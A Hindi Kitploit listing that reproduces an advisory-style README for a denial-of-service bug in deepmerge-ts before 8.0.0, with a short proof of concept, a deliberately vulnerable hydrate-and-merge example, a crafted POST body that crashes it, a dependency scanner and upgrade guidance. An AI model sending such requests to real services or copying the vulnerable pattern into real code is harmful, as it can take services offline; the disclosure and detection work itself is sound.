Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40345 — deepmerge-ts के 8.0.0 से पहले के संस्करणों में स्टैक-समाप्ति सेवा-अस्वीकार (stack-exhaustion denial-of-service) को पुनरुत्पादित करता है, शोषण का दस्तावेजीकरण करता है, और कमजोर निर्भरता रेंज के लिए एक स्कैनर शामिल करता है। | Kitploit
उपकरण/GitHubGitHub/jvr2022/cve-2026-40345
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाआपूर्ति श्रृंखला सुरक्षा
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

deepmerge-ts के 8.0.0 से पहले के संस्करणों में स्टैक-समाप्ति सेवा-अस्वीकार (stack-exhaustion denial-of-service) को पुनरुत्पादित करता है, शोषण का दस्तावेजीकरण करता है, और कमजोर निर्भरता रेंज के लिए एक स्कैनर शामिल करता है।

रिपॉजिटरी देखें
6373 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

deepmerge-ts < 8.0.0: पुनरावर्ती ऑब्जेक्ट ग्राफ DoS

मैंने 8.0.0 से पहले के deepmerge-ts संस्करणों में एक स्टैक समाप्ति बग का पुनरुत्पादन किया।

दिलचस्प बात यह है कि क्रैश के लिए किसी विशाल नेस्टेड ऑब्जेक्ट की आवश्यकता नहीं होती। यह ऑब्जेक्ट पहचान से उत्पन्न होता है। यदि मर्ज किए जा रहे दोनों मान एक ही प्रॉपर्टी के माध्यम से स्वयं को इंगित करते हैं, तो मर्ज रूटीन उसी जोड़ी को बार-बार विज़िट करता रहता है जब तक कि Node.js की स्टैक स्पेस समाप्त नहीं हो जाती।

परामर्श: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 गंभीरता: उच्च प्रभाव: उपलब्धता

यह उल्लेखनीय क्यों है

अधिकांश मर्ज परीक्षण सामान्य JSON-आकार का डेटा उपयोग करते हैं:

{
  user: {
    name: "alice"
  }
}

वह डेटा अचक्रीय होता है। JavaScript ऑब्जेक्ट स्वयं के या उसी ग्राफ में स्थित किसी अन्य ऑब्जेक्ट के संदर्भ भी रख सकते हैं। यदि टेस्ट सूट केवल JSON फिक्स्चर का उपयोग करता है, तो ऐसे मामलों को नज़रअंदाज़ करना आसान होता है।

सबसे छोटा विफल होने वाला ग्राफ दो अलग-अलग ऑब्जेक्ट हैं, जिनमें समान स्व-संदर्भ होता है:

const left = {};
left.self = left;

const right = {};
right.self = right;

आंतरिक रूप से क्या होता है

रिकॉर्ड मर्जिंग गणनीय कुंजियों पर चलती है, प्रत्येक कुंजी के मान एकत्र करती है, और उन मानों के लिए मर्ज रूटीन को फिर से कॉल करती है। प्रभावित रिलीज़ में कोई साइकिल जाँच नहीं होती और न ही पहले देखे गए ऑब्जेक्ट जोड़े पर कोई ट्रैकिंग होती है।

self कुंजी निष्पादन को उसी स्थिति में वापस भेज देती है:

deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

यही व्यवहार deepmergeInto, deepmergeCustom और deepmergeIntoCustom के माध्यम से भी प्राप्त किया जा सकता है, जब उन्हें उसी प्रकार का ग्राफ मिलता है।

स्थानीय पुनरुत्पादन

package.json में पैकेज प्रभावित 7.1.6 रिलीज़ पर पिन किया गया है।

npm install
npm run poc

पूरा परीक्षण poc.mjs में है। यह दोनों सार्वजनिक APIs को स्थानीय रूप से चलाता है और अपेक्षित RangeError को पकड़ता है, ताकि परिणाम पढ़ने में आसान हो।

PoC का महत्वपूर्ण भाग यह है:

import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

अपेक्षित आउटपुट:

deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

प्रभावित व्यवहार देखे जाने पर PoC सफलता लौटाता है। यदि पैकेज अपग्रेड किया जाता है और दोनों कॉल पूरी हो जाती हैं, तो यह साफ-सुथरा परिणाम प्रिंट करता है और स्थिति 1 के साथ बाहर निकलता है, क्योंकि समस्या पुनरुत्पादित नहीं हुई।

इसका दुरुपयोग कैसे किया जा सकता है

कोई जादुई चक्रीय JSON पेलोड नहीं है। एक सामान्य JSON पार्सर अचक्रीय ग्राफ बनाता है, इसलिए यह केवल एक बहुत गहरा JSON बॉडी भेजने से ट्रिगर नहीं होता:

deepmerge(defaults, req.body);

एप्लिकेशन को मर्ज फ़ंक्शन को कॉल करने से पहले साइकिल बनानी या संरक्षित करनी होती है। यह ग्राफ हाइड्रेशन कोड, संदर्भ-संरक्षण करने वाले डिसीरियलाइज़र, कैश या सत्र ऑब्जेक्ट के पुन: उपयोग, या रिकॉर्ड्स को आपस में जोड़ने वाले कस्टम लॉजिक में हो सकता है।

यहाँ एक कमजोर इंटीग्रेशन का छोटा सा उदाहरण है। hydrate फ़ंक्शन उपयोगकर्ता-नियंत्रित फ्लैग को स्व-संदर्भ में बदल देता है:

import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

यदि कोई HTTP रूट mergeRequest को कॉल करता है, तो हमलावर यह भेज सकता है:

POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

अब दोनों पक्षों में self संदर्भ होता है। जब रूट deepmerge(left, right) को कॉल करता है, तो लाइब्रेरी left.self और right.self का अनुसरण करती है, उसे फिर से वही जोड़ी प्राप्त होती है, और V8 के त्रुटि फेंकने तक रिकर्स करती रहती है।

किसी एप्लिकेशन के लिए इसी hydrate फ़ंक्शन का उपयोग करना आवश्यक नहीं है। महत्वपूर्ण शर्तें ये हैं:

  1. हमलावर-नियंत्रित डेटा पुनरावर्ती ऑब्जेक्ट ग्राफ को प्रभावित कर सकता है।
  2. दोनों मर्ज इनपुट में समान प्रॉपर्टी पथ पर एक साइकिल होती है।
  3. ग्राफ प्रभावित मर्ज APIs में से किसी एक तक पहुँचता है।

यदि रूट सार्वजनिक है और अपवाद को पकड़ा नहीं गया है, तो एक अकेला अनुरोध Node.js वर्कर को रोक सकता है। यदि कोई प्रोसेस सुपरवाइज़र इसे स्वचालित रूप से पुनरारंभ करता है, तो बार-बार भेजे गए अनुरोध सेवा को पुनरारंभ लूप में रख सकते हैं। यदि प्रमाणीकरण आवश्यक है, तो हमलावर को उस रूट तक पहुँच की आवश्यकता होगी।

यह एक डिनायल ऑफ सर्विस समस्या है। यह बग कोड निष्पादन, फ़ाइल एक्सेस, या किसी अन्य अनुरोध से मर्ज इनपुट पढ़ने का कोई तरीका प्रदान नहीं करता।

केवल JSON ही पर्याप्त क्यों नहीं है

वास्तविक एप्लिकेशन का आकलन करते समय यह अंतर मायने रखता है। निम्नलिखित अनुरोध बॉडी स्वयं कोई साइकिल नहीं है:

{
  "self": true
}

यह तभी प्रासंगिक होता है जब एप्लिकेशन कोड self: true को रूट ऑब्जेक्ट के संदर्भ के रूप में व्याख्या करता है, या यदि कोई अन्य पार्सर ऑब्जेक्ट संदर्भों को पुनर्स्थापित करता है। पैकेज को परिणामी ग्राफ को फिर भी सुरक्षित रूप से संभालना चाहिए, लेकिन दूरस्थ शोषण क्षमता पैकेज के आस-पास के कोड पर निर्भर करती है।

प्रभाव

प्रत्यक्ष प्रभाव सिंक्रोनस स्टैक समाप्ति के माध्यम से उपलब्धता है।

आस-पास के एप्लिकेशन के आधार पर, परिणाम ये हो सकते हैं:

  • एक अनुरोध का RangeError के साथ विफल होना
  • एक अनकॉट अपवाद द्वारा वर्कर प्रोसेस को समाप्त कर देना
  • प्रोसेस मैनेजर के अंतर्गत बार-बार वर्कर पुनरारंभ होना
  • वर्कर के पुनरारंभ होने के दौरान अनुरोध कतार का बैक अप होना
  • रूट तक बार-बार पहुँचे जाने पर सेवा का अनुपलब्ध हो जाना

इस समस्या में अपने आप में कोई गोपनीयता या अखंडता प्रभाव नहीं है। गंभीरता तब बढ़ जाती है जब मर्ज रूट अप्रमाणित हो, सार्वजनिक इंटरनेट से पहुँच योग्य हो, या किसी अन्य सेवा द्वारा स्वचालित रूप से पुनः प्रयास किया जाता हो।

पहचान

क्रैश PoC चलाने से पहले प्रभावित डिपेंडेंसी संदर्भों को खोजने के लिए मैंने scanner.mjs जोड़ा है। यह जाँचता है:

  • package.json डिपेंडेंसी रेंज
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

इसे किसी प्रोजेक्ट निर्देशिका पर चलाएँ:

node scanner.mjs /path/to/project

CI या अन्य टूलिंग के लिए, JSON आउटपुट का उपयोग करें:

node scanner.mjs /path/to/project --json

इस रिपॉजिटरी के लिए उदाहरण परिणाम:

deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

स्कैनर प्रभावित संस्करण या रेंज मिलने पर स्थिति 1 के साथ बाहर निकलता है। Git URLs और अन्य गैर-semver स्रोतों को चुपचाप सुरक्षित मानने के बजाय REVIEW के रूप में चिह्नित किया जाता है।

निवारण

प्रत्यक्ष समाधान deepmerge-ts >= 8.0.0 पर अपग्रेड करना और लॉकफ़ाइल को रीफ्रेश करना है।

npm install deepmerge-ts@^8.0.0

एप्लिकेशन को यह भी तय करना चाहिए कि पुनरावर्ती इनपुट को कैसे संभाला जाए। उचित विकल्प ये हैं:

  • इनपुट सीमा पर साइकिल को अस्वीकार करना
  • मर्जिंग के दौरान विज़िट किए गए ऑब्जेक्ट जोड़े को ट्रैक करना
  • मर्ज गहराई की सीमा तय करना और नियंत्रित त्रुटि के साथ विफल होना
  • अनुरोध सीमा पर मर्ज त्रुटियों को पकड़ना
  • वर्कर निकास और पुनरारंभ लूप की निगरानी करना

प्रोसेस स्थिरता के लिए त्रुटि को पकड़ना उपयोगी है, लेकिन यदि हमलावर अनुरोध को दोहरा सकता है, तो यह अंतर्निहित डिनायल ऑफ सर्विस को समाप्त नहीं करता। डिपेंडेंसी को अपग्रेड करना और पुनरावर्ती इनपुट को संभालना ही महत्वपूर्ण समाधान हैं।

पैच किए गए रिलीज़ का सत्यापन

डिपेंडेंसी को 8.0.1 में बदलें, पुनः इंस्टॉल करें, और वही PoC चलाएँ:

npm install [email protected]
npm run poc

पैच किए गए रिलीज़ पर दोनों कॉल पूरी हो जाती हैं और स्क्रिप्ट यह प्रिंट करती है:

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    933
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    551
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    354
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    351
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    332
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    289

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →